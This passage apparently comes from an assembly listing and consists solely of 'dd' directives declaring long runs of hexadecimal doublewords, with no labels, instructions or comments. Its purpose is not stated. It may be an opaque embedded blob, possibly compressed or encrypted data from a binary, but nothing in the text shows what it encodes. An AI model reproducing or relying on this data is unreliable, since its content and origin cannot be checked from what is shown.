		dd 3AB5153Dh, 2805019Eh, 0C0A5BBB4h, 0F6A8E507h, 0B0EC4000h
		dd 83E90A35h, 632F0015h, 8CBC85C3h, 470054DFh, 0C27B93D6h
		dd 0E8BB9Dh, 2A24D1FEh,	72F483CBh, 969F1400h, 318E5C29h
		dd 6EAA00CAh, 0E4B89E2h, 8100F9B0h, 0CD23F5A0h,	33548B2h
		dd 0BDFCCA9Ch, 0F798862Bh, 3901B7D8h, 6797B377h, 83F03D70h
		dd 34EAE9h, 0F4CBF381h,	2C9C538Ch, 2024316Eh, 0AB150DE3h
		dd 0BFC40057h, 996B0BA9h, 6C00BE71h, 0C0204A9Ah, 1A52F5h
		dd 92563E0Dh, 3D5C2F45h, 31A4DC07h, 0E6F07376h,	74AAB359h
		dd 0FAA60753h, 403C6BF2h, 0DD3691D2h, 4C072A7Eh, 0D4F30825h
		dd 554D770h, 4DB50039h,	0B217C5C7h, 150BEEC6h, 8063800Ah
		dd 39F9341Eh, 3EED0260h, 47F5D8E4h, 7596B080h, 33047829h
		dd 0B8487D8Ah, 54059480h, 77190090h, 0F646EC9Eh, 3173BBE3h
		dd 0E165AD00h, 799D6F10h, 0B59A0086h, 0B321AFDAh, 66008D55h
		dd 775F142Ch, 12FA23h, 87836B7Eh, 0D50A4169h, 552BE300h
		dd 3A67E763h, 17FF3985h, 524CC80h, 7DB05BC9h, 0AF56F400h
		dd 0A6A3F31Bh, 0BA621F2Ah, 3B650029h, 0F6CBEB39h, 9793FD00h
		dd 0D0B86919h, 0A25800ABh, 24457A9Ah, 3700CBE9h, 0EFCC22B6h
		dd 0BBF102h, 2DE88067h,	191657ADh, 1D852B0Fh, 1129408Bh
		dd 7E693BFh, 4D2EDF51h,	0C840DF74h, 0CF9F288Ch,	59098000h
		dd 63D99E8Bh, 0F02A0234h, 7DF2C6E5h, 5B39CCA0h,	8D008BE3h
		dd 0E8B5661Eh, 6D3043h,	0DE4AF690h, 0CECDF1DCh,	9F0D350Fh
		dd 52D8204Ch, 1D70810Bh, 0C0FEA91h, 0BF100EF4h,	0A6386200h
		dd 0A7E86A47h, 0AC870576h, 0C09FB35Ah, 57E2196Ah, 0BCFF1401h
		dd 0F6BD84D1h, 3FBED6CCh, 0AC82820Ch, 8816A433h, 6374D760h
		dd 0FA0E0600h, 0CB945D73h, 6F3A00DEh, 0D5385E65h, 5F00F680h
		dd 48D3F201h, 0D71611h,	6070A2D4h, 0E48E4C75h, 80B6253Ah
		dd 0C25E39A1h, 7DE9F059h, 9DCEEA0h, 8979AFBEh, 875B5500h
		dd 3019299h, 2D081DDBh,	35F1B96Fh, 0A59BF4h, 41A7C4FCh
		dd 5D7D43B3h, 0BB71233Eh, 0FFD89EA4h, 96EF2E00h, 0E21F3553h
		dd 0AE3600F5h, 9A5CFBFCh, 0B6F099AAh, 797785Ch,	0CEEA2AF0h
		dd 13D96860h, 0F132EC5Ch, 14FC10E8h, 8B8B10Fh, 0E790F707h
		dd 0C36BF030h, 0F0E735CCh, 1400D652h, 6D61859Eh, 0E378CBh
		dd 74489F4Eh, 0EC53F592h, 8B28CD0Fh, 0D78CA0A5h, 7A5A9DEDh
		dd 0C06800B1h, 75F234Fh, 1A0CB9E7h, 1835B82Ch, 7A38015Ch
		dd 0A0E364DCh, 435F2089h, 0C9378A07h, 2390D6FAh, 969836h
		dd 9F5630DEh, 481593EBh, 0B9403760h, 0C29F313h,	0E5D2D64Ah
		dd 2B004942h, 0F835C390h, 0F6F95480h, 448F0B20h, 4E802455h
		dd 0E49663CEh, 0E6FBB800h, 0BE319D79h, 9BA301EBh, 5B0A5EBCh
		dd 0F2E1C673h, 2F6880F3h, 0EBAE6186h, 5DCCEB46h, 17E4CC5h
		dd 81708503h, 0F2E84F82h, 9D009641h, 0B9B7A9Fh,	0FAE7A6h
		dd 5F185A78h, 3C0E7F83h, 39599800h, 0BAC99DF2h,	3E2F01D4h
		dd 7888A697h, 0C08FC054h, 0E0BEE600h, 585522A2h, 0DC0C0F12h
		dd 5017E60h, 8078655Dh,	0EA9AA929h, 0DF58B3h, 6169542Fh
		dd 6A31639Dh, 278D1600h, 0E35232FEh, 19F400CEh,	0B92FD5A1h
		dd 7400151Bh, 0DB2EBE3Bh, 329DC26h, 0B5B1CE1Dh,	5100A5B8h
		dd 659540ADh, 0A18451F4h, 8FD0D9A4h, 1D480E71h,	26A9B4A0h
		dd 86E3FE0Fh, 0C7B04F3Fh, 4800474Eh, 9B686253h,	1D5249Fh
		dd 97576EB3h, 0DC4A9890h, 2F0154FAh, 0F73745F6h, 0EF30C693h
		dd 5A2389Fh, 4A89A583h,	8289AD23h, 57E9E09Ah, 44ED781Ch
		dd 0E7C688F3h, 38A1580h, 0F1DF0EFDh, 4580C899h,	9E2C8407h
		dd 620CC51Eh, 0DA794186h, 90AF1050h, 0C30183C6h, 0E536C1A6h
		dd 2C105071h, 1EE9A834h, 7CD0A26Bh, 0BEC11860h,	0C600EF2Ch
		dd 5625A477h, 3D59606Dh, 0D73B9E4Dh, 22A0C780h,	8A3676B5h
		dd 29ED851Eh, 404ECA8Ch, 0BA77CC0h, 0E1DC0690h,	0E4F4FB00h
		dd 61C0C31Dh, 31627FB8h, 507C185Ah, 3CEE8839h, 0DF4E40Eh
		dd 45003690h, 8E9CA4FAh, 146D021Ah, 5BC691BAh, 82978BE0h
		dd 0CD7A3005h, 0A8189D4Fh, 14E26958h, 0A4B51837h, 1FE10078h
		dd 1A7B2AEFh, 5E0059FFh, 70D46B4Ch, 312369Ch, 0CDB54FE0h
		dd 8AA044E9h, 38B03EF9h, 10814C09h, 80528F2Fh, 0AC981DDFh
		dd 77F499h, 9F78FE18h, 0E4D77C6Ch, 0FD69D100h, 0E284660Ch
		dd 0E085600Ah, 6E92F74Fh, 9DEB5100h, 0D3A01B64h, 9A9702AEh
		dd 0D6D49F57h, 727D7C80h, 0DB079CA6h, 6E93CC3Ch, 6555E270h
		dd 81300113h, 0C4371BA2h, 8E8A400Ah, 2EE86A9Dh,	24D05Ch
		dd 0B86B2A82h, 70FF4D7h, 58079C0Bh, 79531028h, 7F00A7BAh
		dd 0CB09D124h, 0DB88F3h, 6BFF0133h, 0AD480D0Bh,	64F89400h
		dd 3E755CE6h, 0FACA0058h, 6F625E61h, 0AF7C9614h, 0E500AB7Dh
		dd 0E0A506BBh, 0F0D9Eh,	4114F6F3h, 2829AF65h, 5131B100h
		dd 0FCFF880Eh, 0D996000Ah, 0FA9F2BA2h, 60F68CAAh, 7C5193Bh
		dd 5D103C4Dh, 0F2405C01h, 4FF1995h, 595800FEh, 894398D4h
		dd 630A00EDh, 3B556844h, 0D9263332h, 3030032Bh,	0CFEA4281h
		dd 0BA1FA638h, 663EDB3Eh, 34F7A715h, 4C973DE2h,	0E4069A06h
		dd 0EFA50010h, 694FDBE8h, 26003A68h, 9F5FB454h,	50E1E738h
		dd 42140C47h, 4E4274AEh, 8AB19010h, 888824BFh, 0F3F241BBh
		dd 0AB8C1170h, 3E429808h, 210C802Ah, 44153982h,	42427030h
		dd 540C782Ah, 8674481Fh, 3C183B54h, 43AE6CA8h, 0AF307C84h
		dd 60D91524h, 110C242Ah, 217C8C54h, 0ED4B8A58h,	0CA9C1018h
		dd 0C3BF6C20h, 2492CB14h, 0CA956C21h, 7C602248h, 3129B03Eh
		dd 5518668Eh, 10B908B0h, 2A659E17h, 8C00D8C9h, 0C75060A7h
		dd 442210h, 18991FFDh, 1C5A9BDFh, 206FA300h, 0B5C7F266h
		dd 0E360B8Dh, 8100DD4Ch, 0A65828F1h, 0CBBD6203h, 3E6CA4h
		dd 6924DB40h, 78F5CE0Fh, 0A6351600h, 2D05CB11h,	60DF187Dh
		dd 0B3C718FCh, 7E0026B0h, 0E13FB8DBh, 0F43E4Dh,	0D8054A3h
		dd 2003852Ch, 1CB8CBF0h, 0EA8D9101h, 97AAB567h,	8022C0h
		dd 4639D743h, 171BCD20h, 16F94900h, 5F6AEDC9h, 5A430AE4h
		dd 0F81C9D50h, 13036066h, 70BF0C85h, 95ED98A3h,	0F5E1007Dh
		dd 0FD0B7906h, 31606996h, 302ADA50h, 580C649Bh,	183241AEh
		dd 0EAF03AFAh, 0A542036Ah, 0FB0EFF40h, 6461B8A0h, 10B26D45h
		dd 0D0234150h, 5DF6CA8Eh, 14203AC2h, 9B0E02DAh,	14343A52h
		dd 3EC4113h, 0E65843C8h, 0C50B8035h, 6AE40767h,	20F3A650h
		dd 0FCEA99A9h, 40A3952Dh, 2AFAA3h, 45EFAE86h, 0DB5C71E7h
		dd 4E24D30Fh, 0CB56C527h, 98FF9C03h, 7C9900BDh,	9B3981AAh
		dd 33074201h, 0BBD87DC0h, 1C87682Ch, 433831A6h,	97C2FBC8h
		dd 0D1138114h, 0A2455068h, 40CA9629h, 99CFCC60h, 340C28B0h
		dd 24FC00C8h, 422EEAF4h, 80025EEh, 3EDB5705h, 0A49996EFh
		dd 30B17CC0h, 0F2116172h, 9E5CBA09h, 0CBC218D4h, 0F0394DA1h
		dd 3E4E31FDh, 0D9F718h
		dd 74074337h, 49FAE03Fh, 0D81D1802h, 182136CAh,	7C1C0E48h
		dd 0C3F7DE0h, 7C7F3A0Bh, 8AACBA51h, 84E76F30h, 3AF07BE7h
		dd 67A1F333h, 81AC4053h, 6032E669h, 8A60C14Bh, 4FC3BA19h
		dd 52A1827h, 6463509Ah,	0FCC02928h, 0DEF3AD00h,	0AF674966h
		dd 4C0D3A89h, 18EB4F0Eh, 11865ADh, 102EB188h, 0C49A20E2h
		dd 4C9F16A0h, 604DF1DFh, 22741A2h, 0DB3856C8h, 0BD7201D4h
		dd 79A635Dh, 90F837C0h,	67C2284Ch, 54DF8A0h, 23EABB7Ch
		dd 73800E0Dh, 11BCE02Ah, 0DA7C0014h, 0DB27E149h, 0A0CC06C2h
		dd 4187D832h, 0D8D19529h, 0BA10A18h, 0EE1800BFh, 3EC1685Ah
		dd 0AD034CC5h, 3137021Dh, 8CA7D8B9h, 0A19B0058h, 2430475Ah
		dd 0ED1DBEC5h, 500C89Ah, 95D1679Eh, 10C96379h, 81E8B56h
		dd 9D6C7AE1h, 30A89C0Ah, 0F2312EE1h, 3A51000Ah,	90A6BECAh
		dd 0C72E80C3h, 0B9FB0401h, 5F68F473h, 308022E5h, 6C3DA0B0h
		dd 9403AF83h, 95D44F6Dh, 54000D6h, 0DEE99B9Ch, 46704464h
		dd 1B939400h, 0BFAA9851h, 760A0FEAh, 660AFF3h, 4590084Ch
		dd 0F22B39h, 85547D6Fh,	1E3CAB9Ah, 5A9CF3h, 144F5037h
		dd 1674C673h, 34C5250Fh, 0D56160F5h, 7591C3A9h,	1A1900DAh
		dd 0E8C19C0Eh, 0FF39A2F1h, 50248049h, 8BED5A97h, 0DBA303B2h
		dd 0C34D921Ch, 51F35E1Bh, 44A0AE70h, 7B007DA6h,	10431805h
		dd 18D375B7h, 28231408h, 61184A54h, 0DB78AA19h,	728E0F11h
		dd 48954802h, 926E3403h, 8186A356h, 0C853BD00h,	0B8F84EEEh
		dd 0FD1B1D83h, 38F0F1E6h, 70FBEC77h, 0D8474000h, 0CDB86C6Eh
		dd 3A29349Bh, 458400A1h, 41C92074h, 0D5C3100Eh,	6113C170h
		dd 0C883F962h, 9C30CFE7h, 26EC300Ch, 4518B197h,	1C99F71Fh
		dd 4FE9879Fh, 98C3B702h, 9B100CC5h, 9CF9F6EBh, 0ADD12F02h
		dd 0E0CD22h, 3ECC9385h,	94201260h, 7A3F7BA0h, 0DA84A0C7h
		dd 4F74058Fh, 4FC39C9h,	583F9418h, 80C66668h, 0F1186D87h
		dd 9729CF3Ah, 0C54A44EBh, 0BE91FA00h, 19414E1h,	1C80A819h
		dd 17CC0B81h, 9B8064E2h, 5BE9C438h, 0E6F240C0h,	0A0EB3B68h
		dd 0F06B4E08h, 235A46FCh, 0F3F405FBh, 7D900046h, 69FC4DDBh
		dd 864208DEh, 0A00B3C6Ah, 440225BCh, 0B62E00EFh, 0A54EC221h
		dd 133D2732h, 0D4D8006h, 0F07E7F24h, 0F56B19D5h, 50853993h
		dd 86BD9D04h, 1BA33C18h, 2A11E619h, 15A06B70h, 0E4641495h
		dd 42049E05h, 0F6400013h, 0CD052D28h, 0E5049378h, 0ACA77CA5h
		dd 0F08D7C93h, 1835BDC5h, 8769BEEh, 0BF120FE4h,	202C898Bh
		dd 1D04180h, 4BFBCC8h, 0C419DB05h, 6D83C820h, 57493EEEh
		dd 67E50AF8h, 87D03D1Bh, 5C2DC595h, 80B84BD9h, 0B63B5106h
		dd 51BE94h, 9C1B9B19h, 269F4995h, 35DB1A1Bh, 91F8E011h
		dd 93E00241h, 0F30F2DE2h, 49EC3091h, 234808A0h,	6BD2BC1Ch
		dd 691ECD1Dh, 51003A51h, 0E3EA7E55h, 30C0994Dh,	771B69E5h
		dd 285E4833h, 8BC88700h, 0F3889403h, 0A2067B03h, 0F16EB875h
		dd 90504408h, 0F9FD4Bh,	0F656161Ch, 111A7A0Ch, 7103D48h
		dd 2FC38C97h, 0C1D84596h, 0A30F4130h, 0E5208747h, 9142CD08h
		dd 0D88CA32Ah, 0F550906Ch, 24000C0h, 0D5AC56DEh, 0BF1951A5h
		dd 0C329156Eh, 0DABA70h, 948721E1h, 77370C42h, 8BF29C00h
		dd 30CA139Dh, 9BD6046Bh, 81B9546Fh, 0D89034F4h,	0E76EEF97h
		dd 0BD7FA010h, 0EB7610FAh, 9EDED180h, 0A3BC92C1h, 8056933Dh
		dd 0E6976E68h, 2874DAh,	4383B340h, 9606E89Bh, 1A708D00h
		dd 9D11F1AFh, 7D9F0E37h, 0E9473DCEh, 0E6BD01DFh, 59D6E436h
		dd 0F2999800h, 1B68FF11h, 716F199Ah, 0D9EC797Eh, 0EFACE8B0h
		dd 7AF70BFh, 43791373h,	59D4708Dh, 4A1D8C1Ch, 2B445F3Fh
		dd 54D728C5h, 0E3DBABC0h, 29E7000Bh, 0F8729F5Eh, 3005817h
		dd 0B738322Ch, 7FC1E26h, 0C9DDBE67h, 0AA405033h, 68E8A487h
		dd 1A35E200h, 3665CBE5h, 9BFE03h, 940EBD88h, 1173A5BCh
		dd 69913F01h, 31905A5Dh, 0E86FB2CCh, 7BA17B67h,	530C008Dh
		dd 0F06BDB47h, 0B71DB088h, 77401687h, 636C69B1h, 0E331007Ah
		dd 751EF8B3h, 6B7C9140h, 5350E57Dh, 8B1E07B8h, 0B781B42Eh
		dd 78217982h, 37CB5CCh,	0DD2DFDE7h, 38034EEAh, 4F9B8A31h
		dd 0A6CCC05Fh, 38DBE2BBh, 0F3E0BCh, 0CD878D99h,	0B0F7B751h
		dd 71C01DFEh, 714CF0F8h, 3FBA0085h, 435D9D6Ah, 3E06F7DBh
		dd 27E4EF6Dh, 703100E8h, 67349BB7h, 0DB04C019h,	5D496179h
		dd 0E9AB0C0h, 0F710CA7Ah, 0E9187C04h, 69104B36h, 725F00E0h
		dd 8E6EAE51h, 82E2485Ch, 0F03DE00h, 769D0BE9h, 446C0C7Dh
		dd 722873F3h, 4434B344h, 4E20DFA9h, 74413178h, 118FF651h
		dd 0E312C6D6h, 71F01483h, 291A5131h, 4AF8CD9Ah,	0D1F0055h
		dd 82DF028Bh, 50653EFh,	0CAFC891Bh, 93120120h, 0BAFBEA83h
		dd 6070EC0Eh, 8EDD511Ch, 0B0103900h, 9059DA13h,	0A92300ADh
		dd 70C9ADC6h, 0D600BFFDh, 4567990Fh, 90930A0Bh,	0CA3B1D06h
		dd 0AF708084h, 237C0EAAh, 760040E8h, 97FB2F7h, 0F220136h
		dd 6D524C1h, 5A0E90E0h,	0E205B197h, 0A40B106Bh,	3811E0C0h
		dd 91D500EAh, 2025513Eh, 280016E5h, 271AB429h, 34926AFh
		dd 2AB16ED7h, 34D02DFCh, 7C00EF1Fh, 581CC4BEh, 0B51ECDh
		dd 0A40157D8h, 37E0F650h, 84834902h, 0A0DB44C9h, 0FAEBFFCh
		dd 0B5472839h, 7754EA98h, 71CA3C48h, 0AA2513h, 15209703h
		dd 0ECEAF419h, 10E4BE03h, 0D088A642h, 0C5F826h,	0D2C96462h
		dd 437B1F08h, 95A8E100h, 0C18A8923h, 11C7130Eh,	7A2500C9h
		dd 0D38CA23Ch, 0E78DF500h, 3FB3E675h, 0C8BA00ADh, 0B20BFD2Ch
		dd 0D20E373Dh, 40356762h, 19CBBC8Bh, 0B7B98A3h,	0C004655Bh
		dd 0F201D3D8h, 0E86EF943h, 0A880D0B1h, 0ACC4E958h, 224C1E2Fh
		dd 0A3930066h, 4CA4A1EEh, 1EB00B0h, 0E1D606BBh,	2F0FCB5Fh
		dd 609C0FE3h, 0C94405CFh, 8B493004h, 580DC1A8h,	0B5186679h
		dd 8960D609h, 6C640442h, 0C029DFA7h, 6DA663D7h,	8E60E53Dh
		dd 0C0469E81h, 4C703C75h, 557609F2h, 5800621Dh,	5BEE5423h
		dd 4E93F409h, 6BB880B4h, 0F91EA4h, 7B91F02Bh, 8419EDCBh
		dd 0D9543100h, 0A1B310C0h, 2B29003Dh, 0C22E5752h, 82007F16h
		dd 0D1D99456h, 0D4DE53h, 49F44F03h, 0E1E30C3h, 0FBED2200h
		dd 6C124D3Ah, 20056076h, 9B94C750h, 0CAD4C303h,	0E84590C2h
		dd 38585573h, 1803A583h, 0B354BE7h, 78263000h, 0AE97918Dh
		dd 0AAE51EB8h, 9C948066h, 40AF0E0Ch, 68C9A900h,	2D0A53D8h
		dd 7B24F4EAh, 4D670014h, 627E556h, 0F503FF8Ah, 11C4740Fh
		dd 8C60D7FDh, 72FE7A0h,	0D9BC7C64h, 386B1061h, 39037911h
		dd 8D572BD7h, 9621124Dh, 0DD6000EDh, 445A47A0h,	68776E03h
		dd 0B84EBEB4h, 7B31D17h, 2EDAAA6Fh, 0E9E39007h,	0F97E7BE6h
		dd 0A300387Dh, 0F186E7Dh, 77415712h, 87753EFDh,	0EF27ED07h
		dd 31452064h, 67E2719Eh, 0B51B2600h, 0D335F169h, 21F80160h
		dd 942FCC4Fh, 0B9E0F438h, 0C912C804h, 1890CE67h, 4EA9AC2h
		dd 0A472A318h, 0BB0E8068h, 88006F4Bh, 0B464B910h, 0EE94D504h
		dd 0C7774865h, 0C3720077h, 0B6AEAC21h, 810E170Dh, 2ED6866Bh
		dd 22B86064h, 0E45156C6h, 117ECEh, 3B301F7Ch, 2C530A86h
		dd 88F42E76h, 49CDFB00h, 0EBFD1931h, 0F45C0074h, 0CC72E848h
		dd 6D0B368Bh, 0AA38AB5h, 0AF2881E0h, 0F100B170h, 0D1EA860Fh
		dd 3DED1266h, 101443Eh,	9B422011h, 0B16AF02Eh, 0D378D100h
		dd 515FD0E4h, 245C0050h
		dd 421E62A9h, 2000AFE9h, 0D1C0DE30h, 0A69A3Dh, 0F255C773h
		dd 0FC90DCF1h, 76D6AD00h, 7944B8AFh, 4020FF74h,	977A0008h
		dd 326E6B6Fh, 70F2B68h,	0C063A799h, 0DF8F9D69h,	6ADC30E4h
		dd 1BCB4320h, 44D6F801h, 1CED692Eh, 125716D8h, 282A8C2h
		dd 749F544Bh, 73D4C880h, 0A500207Dh, 30AFB96Dh,	1FFC32CAh
		dd 4CA754B7h, 0E8207693h, 43377C12h, 98B84A00h,	3526A9h
		dd 0C18F2E3Dh, 773432E4h, 5FC4FE1Dh, 0F66EBD42h, 0DCF040E2h
		dd 87D70076h, 0DF475E80h, 0EB078DEAh, 0C64FA41Ah, 232A0DB0h
		dd 9AD001Dh, 0AEDA3FDCh, 0C3001071h, 5AE604D6h,	7CDD35h
		dd 8089C672h, 34331AD2h, 6B124372h, 100FADA2h, 0E472156h
		dd 57F836E5h, 397F292h,	0A23B5F6Eh, 17C06B0Ah, 0DA352602h
		dd 1C007C65h, 32082DEh,	121A9862h, 758C6CDh, 0CE75D200h
		dd 1608D602h, 0B5F211C0h, 86C52F00h, 0BB710531h, 50DF00A2h
		dd 0F0E2467h, 0DE071B72h, 0DDAD199h, 0AA3A6081h, 952ED4h
		dd 3D65C604h, 37D1398h,	54E48100h, 0B39975F1h, 834700C7h
		dd 32F652E9h, 0D400C4DDh, 0F705E788h, 403E9Ch, 0D64439DBh
		dd 0F486A4FAh, 0A1633116h, 7810E700h, 47EA97h, 0F83CE41Bh
		dd 0AC0B7B8Eh, 0C527A601h, 35998CEEh, 1D9443h, 34CE5448h
		dd 10C1B122h, 60D05B4Ch, 0D6BD6518h, 500760DDh,	0E51A8A08h
		dd 0E1706B60h, 5451F6BFh, 73F100Fh, 75781B58h, 8EDC4013h
		dd 4F13371Fh, 5C40A9A6h, 1C1044EBh, 3CB7FC8Bh, 0D1ED2BEh
		dd 0C1A80125h, 80470448h, 8C63420h, 3D7401FCh, 6A1DAE2Bh
		dd 705CBD83h, 853824h, 45F6203Fh, 0D7F00655h, 24915EB8h
		dd 2480E100h, 265976B9h, 127E9B49h, 7A00BEB0h, 0E325BA28h
		dd 6A50031Bh, 8BEFF9ABh, 657EFDE8h, 6FF01EE4h, 2641E800h
		dd 1D31FB42h, 0C32F00B7h, 0F590760Ch, 5C1DF1DAh, 0D040CE32h
		dd 8B1B3672h, 16CC0099h, 66851FF3h, 100D6B0h, 3FD13B60h
		dd 0B0A2F9Ch, 8A3D412Eh, 476DE000h, 760032E1h, 63AA2D4Eh
		dd 6305754h, 0D30F8049h, 37762110h, 1F136C00h, 0FFF7F8BDh
		dd 14FA11h, 282C355h, 0D9A50544h, 0AB787903h, 26DAAE1Ah
		dd 4ED80C7Ch, 8D038188h, 0A27EF780h, 30BF7EADh,	7A4F1F1Ah
		dd 0BF39D501h, 13F05E20h, 90250AF8h, 2AE63Bh, 0FE7EE4A5h
		dd 0FFF909FCh, 5F938705h, 58C0E3E9h, 7F2D9547h,	6D50CE71h
		dd 801EDCAEh, 2946104Ch, 41CDF22h, 9F81CE3Eh, 6E65CBFCh
		dd 7EFF82FCh, 0E71F0C8Ah, 0B090F276h, 0F70902ECh, 80736DC3h
		dd 2E717885h, 905B0BB2h, 24002AD1h, 0A787A184h,	5EF41018h
		dd 0B77678h, 5916AF03h,	876E0EA6h, 8CE418C0h, 0CEAC945h
		dd 2072BFE6h, 0C00A1240h, 808D918Fh, 34844D80h,	1F8E69Ch
		dd 0E0856C3Fh, 0D4421573h, 0B00D23Bh, 76DB01D1h, 3A19BCC2h
		dd 520136DCh, 4FB3789Bh, 941CD0ACh, 6F82C39h, 6818776Dh
		dd 0D96009D0h, 8D41C70Fh, 26854142h, 0F8B0200Eh, 62AA0800h
		dd 7D98CB28h, 0E9F8A01Eh, 0D26F18D0h, 104E59F3h, 516AE730h
		dd 734AB93h, 8D3A634Ch,	171EA15Ch, 0D4AAD9E8h, 60074B84h
		dd 93100325h, 918AB853h, 0F8D4B459h, 0BAC80058h, 71399BCAh
		dd 2898D602h, 13FA7500h, 0EA215599h, 427841h, 2FD71196h
		dd 9E8CD3F3h, 9F448403h, 0F9C52679h, 4C202501h,	2364008Bh
		dd 2D62697Ch, 820061A6h, 6B401081h, 33D92DEh, 841B3CC3h
		dd 14D8E34Fh, 0F7728EA7h, 0D1AF120Eh, 6256E751h, 0CB9C95B0h
		dd 0DAB000E0h, 0A2C9D74Bh, 55001870h, 2FD0F38Bh, 0A03977h
		dd 0A7E2B273h, 6D1EBAFFh, 0F69DCD01h, 0F929251Ch, 185A2880h
		dd 0CF5C3B4Dh, 4AEC0979h, 52EABD00h, 0F734FAA6h, 74BA00F3h
		dd 3F9F83D1h, 0BF03A77Eh, 1A9D6E86h, 984EB0FAh,	0E4C80047h
		dd 2CD70361h, 277E42ACh, 3BA1838h, 0E648F54Ah, 0BD469097h
		dd 7CEBE6D2h, 6423001Eh, 0D99DECFDh, 6F0062F9h,	61EE1B7Ah
		dd 626093Ch, 32BEF374h,	0E700209Eh, 0D516AE06h,	5B06F56h
		dd 4B92F029h, 975780DFh, 0AA051888h, 322ABDB9h,	5087ADC4h
		dd 907C6813h, 90DAC17h,	4E90C643h, 0A7EF400h, 0BE3DDFCCh
		dd 0E9FE8024h, 0BA9CB686h, 64370297h, 0B0FC8C36h, 0D0ABDA40h
		dd 6F579400h, 0BD0D1982h, 56E05Bh, 3875B191h, 847B8A83h
		dd 0EF28A900h, 0B0801DCAh, 31AB0025h, 4897CD64h, 0E60E30E7h
		dd 6EC7EB98h, 4E8B0082h, 72879B31h, 0FE43009Ah,	851BF9D2h
		dd 2B0446C5h, 79AB284Ch, 0DE7430C0h, 0C1A90239h, 0E3FC647Fh
		dd 0E152BB80h, 0CC075F23h, 0C806C0A0h, 0FFE9FD80h, 0EA142C6Bh
		dd 0B532C74h, 600E8F19h, 0F78904E0h, 292E0536h,	0B000C4E7h
		dd 697A3362h, 14130051h, 366BACFCh, 5700684Ah, 0F75A4E61h
		dd 0F4D779h, 0EAAE3BABh, 0B3E1658Ah, 0D04AC838h, 733941F7h
		dd 0C71400CFh, 0C93FB4A4h, 4BB70737h, 0F103EBDDh, 7B267869h
		dd 77FCBE0h, 0A1177C20h, 0D0840B7h, 3A0061C1h, 0B19E818Eh
		dd 315141h, 55CAA86Ah, 49D520CDh, 0C223131Fh, 6B014C80h
		dd 0B363A0Fh, 0E1E4AB5Eh, 0AA59DE00h, 0DB0029A2h, 0DE94A686h
		dd 0D33033h, 7151C748h,	363D04FAh, 844E8D00h, 1B1F5C18h
		dd 0E23A0010h, 7A42A935h, 0B000F0D2h, 4A0DBB7Dh, 1459A0h
		dd 8DC476B4h, 88B2DE39h, 46B7B26h, 5D2A50Bh, 0A407E3C5h
		dd 8813A51h, 94609E22h,	0F5C8303Bh, 0B752420h, 0DF3ECB07h
		dd 0A0EF56E4h, 0AC84BAC6h, 5D531D6Eh, 37F180F7h, 0AE183141h
		dd 6F4F820Bh, 0E648100Dh, 0EA8B847h, 0AFC2D465h, 0B0001E8Bh
		dd 0ABF197C8h, 7C02BD4Eh, 77F50Bh, 0E2357BF6h, 1549CD00h
		dd 55086831h, 75F474AFh, 0DC4D5C86h, 500D058h, 0F272329Ah
		dd 7F3968F0h, 5B6E87A7h, 0DCB0D589h, 61DA2A1Ch,	3B113047h
		dd 60D2C5F0h, 0A41F9F9Ch, 2A8C8333h, 61D9F6h, 3D806F4Bh
		dd 5872D4F9h, 360ED20Eh, 4E060003h, 1D6B77F4h, 41B3556Eh
		dd 6196243Fh, 83E14056h, 7301443h, 978228F3h, 778D003Dh
		dd 4F5038FFh, 0B400EA2Ch, 9E44E15Eh, 0F708FAh, 0D824066Ch
		dd 0DE348F53h, 250CE203h, 0C8C2F45Bh, 636BFC90h, 0DFBA10F9h
		dd 60B969C0h, 0A9F43F71h, 0C1035F7Fh, 7F82C219h, 0F3280FAFh
		dd 3F8083EEh, 0E4978BB4h, 0A440B94Eh, 338C347Dh, 0EA300042h
		dd 3FC10E95h, 89069C5h,	0CB206ECh, 968AD412h, 5BC0781Dh
		dd 91D7CAF7h, 0BE2FEEFh, 166B35AEh, 8A135020h, 0DC30D1ACh
		dd 0B76F106Ah, 341800D4h, 35A7517Fh, 0BA0017C6h, 2837A001h
		dd 0C0D26871h, 0ED5F9471h, 74016EAEh, 7837C4F6h, 7DD41898h
		dd 1E400C3h, 0CD54763Bh, 0F630B177h, 8436C83Eh,	72B690C1h
		dd 0E2BF00B4h, 0D4B1A374h, 0D9269744h, 7A00A84Ch, 6D4A2287h
		dd 16C90F59h, 0BF20B78Fh, 67B9A8F4h, 2FBDE503h,	0C3A5D8E1h
		dd 0AB2B8818h, 77880069h, 598E4B23h, 0FD609FEEh, 2B478630h
		dd 3DA0004Dh, 68B1B8D3h, 55308307h, 3605103Ah, 957C53h
		dd 7E06AF5Dh, 0ED122767h, 61588A7Dh, 0C86509A2h, 4A6800C7h
		dd 73BD113Fh, 0A7E878h,	723313B9h, 439E4D09h, 9103ED03h
		dd 0D00B19BFh, 980A8F60h, 85360048h, 1C3B8A1Dh,	0E2029633h
		dd 0AB38EBCEh, 8360C0B1h, 8DB900F0h, 15396614h,	1B0E109Dh
		dd 803D7B57h, 0AAE7F390h, 0C39900C0h, 0F12FB5E9h, 8E001866h
		dd 0C944AF14h, 90791B1Eh, 0DCF2EC0h, 11970020h,	8C74B2B6h
		dd 259E6600h, 7EBCF177h, 1F70364h, 68AD519Dh, 0D5100AF0h
		dd 80200F3Ah, 0E82819E0h
		dd 3D3AE114h, 4280C60Bh, 2C4B5D38h, 0D600F1F7h,	0DCB4AA9Ch
		dd 0FA4B7BAh, 0C212DBFEh, 70AEA6E0h, 0C97C4AECh, 400835FBh
		dd 7F268CCCh, 0E4B79814h, 35750AA4h, 6901D666h,	0AACB70A3h
		dd 651ACCh, 0C1922B7Ah,	0A8BDD0DAh, 7782CE01h, 33DBE99Eh
		dd 0BF8F4h, 0A540BC90h,	66CD0FADh, 4987521Ch, 0D7C1CB80h
		dd 13E8250Ah, 5E1FA7h, 42526424h, 0DC006792h, 12214C40h
		dd 3A2D02h, 71B644F1h, 0BA90CF75h, 0DAF8A00h, 0B533C3AAh
		dd 0ED73054Dh, 0C0ADA9FDh, 5F6EE5A8h, 66131024h, 1C4BF000h
		dd 1643BFCh, 29A8C67h, 74E8BB94h, 0C30269CCh, 31E05A72h
		dd 0F173C0D7h, 24370096h, 0A8038C4Eh, 0AE15E382h, 0DC0B7Eh
		dd 0FF962230h, 0F0D31A0h, 5F2535C6h, 19B92EC0h,	21C007D4h
		dd 0CCCAE2F3h, 0F6E0EFAh, 0D8A3A0EBh, 9AC07CFEh, 0FDB8C718h
		dd 0F109A607h, 0E2B3BFECh, 780A8E1h, 0FB2C00A0h, 0F827791Ah
		dd 660059A9h, 0A253CF04h, 0F5B00834h, 63011868h, 0E8A5613Fh
		dd 0CDF83029h, 0B8778600h, 0C90FA842h, 8ED220AAh, 8074F039h
